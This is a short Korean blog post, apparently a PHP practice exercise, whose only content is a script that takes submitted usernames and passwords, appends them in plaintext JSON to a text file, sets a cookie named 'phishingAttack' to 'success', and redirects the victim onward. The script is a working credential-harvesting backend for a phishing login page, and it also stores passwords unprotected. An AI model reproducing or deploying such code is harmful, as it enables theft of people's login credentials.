BackEND
PHP 7 쿠키, 배열형태로 넣고, 파일저장
smartlittlepuppy
2021. 3. 17. 18:02
반응형
<?php
$fp = fopen("userInfo.txt", "a");
$userId=$_POST['username'];
$pwd=$_POST['password'];
if($userId != '' && $pwd != ''){
setcookie("phishingAttack", "success");
//Save them as array.
$listData=array("Password" => $pwd,
"userId" => $userId);
//converting array to json
$data = json_encode($listData);
print_r($data);
fwrite($fp, $data);
fclose($fp);
header("location: member.php?success=1");
} else {
echo "Your userId or Password is wrong";
header("location: login2.php");
}
?>
반응형